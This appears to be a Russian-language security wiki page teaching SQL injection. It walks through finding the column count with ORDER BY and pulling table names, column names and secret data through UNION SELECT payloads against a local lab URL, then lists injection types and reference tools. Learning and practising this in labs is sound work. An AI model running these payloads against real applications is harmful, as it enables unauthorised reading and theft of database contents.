SQL-????????

Позволяет вмешиваться в запросы, которые приложение делает к своей базе данных. В частности, могут приводить к:

- Извлечению данных и возможности исследования базы данных
- Модификации информации в базе данных (удалению, добавлению, изменению)
- Обходу логики
- Обходу механизмов авторизации и аутентификации
- Чтению файлов ОС
- Выполнению команд ОС
- Отказу в обслуживании

Показателем наличия инъекции могут являться ошибки, вызванные наличием управляющих символов (' " \).

Комбинирование запросов:

Необходимо в следующем запросе получить такое же количество колонок. Поэтому сначала нужно узнать количество колонок. Используется технология добавления в запрос ORDER BY 1 то есть сортировка по номеру колонки. При ошибке понимаем количество колонок.

Например 8 колонок. Далее при запросе UNION SELECT 1.2.3.4.5.6.7.8 получим какой столбец попадает в какое поле формы. Затем вместо нужной цифры можно подставить нужный запрос,

Стоит ставить символ комментария после строки запроса -- -

```
http://192.168.1.199:1337/receipt.php?orderID=-1 union select 1,2,3,4,5,6,7,8 -- -
```

Цифра 5 попала в поле Comments. Поэтому попробуем вывести в это поле название таблицы.

```
-1 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables -- -
```

Объединение данных в одно поле возможно сделать за счет group_concat

```
-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.tables --
-
```

Столбцы в таблице

```
-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(COLUMN_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.columns
WHERE table_name='secret_table' -- -
```

Получение данных из таблицы

```
-1 UNION SELECT 1,2,3,4,secret_column,6,7,8 FROM secret_table -- -
```

Примеры SQL-инъекций:

- Stacked queries — выполнение несколько запросов за один раз.
- Union-based — использование оператора UNION для объединения результатов двух запросов, что позволяет извлекать данные из других таблиц.
- Error-based — инъекция, основанная на ошибке, которая может возникнуть при выполнении запроса, что позволяет получать информацию об уязвимости.
- Boolean blind — используются булевы выражения для проверки наличия или отсутствия определенных данных в базе данных.
- Time-based — инъекция, которая использует задержку выполнения запроса для получения информации о базе данных.
- Out of band — инъекция, которая не взаимодействует с сайтом напрямую, а использует другой канал для передачи данных, например, отправку электронной почты или HTTP-запросов.

Дополнительная информация

- База знаний по возможностям в языке SQL разных СУБД
- Wiki по инъекциям SQL
- PayloadsAllTheThings - SQL injection
- PayloadsAllTheThings - NoSQL injection
- OWASP NoSQL injection slides
- PortSwigger - SQL injection cheat sheet
- SQLMap - Инструмент автоматизации

Практика:

- Навыки работы с SQL
- Для начинающих
- Для того, чтобы попрактиковаться в более сложных кейсах (Ищем "SQL" в названии задач)

Revision #4
Created 28 September 2025 06:02:33 by Admin
Updated 28 September 2025 12:48:08 by Admin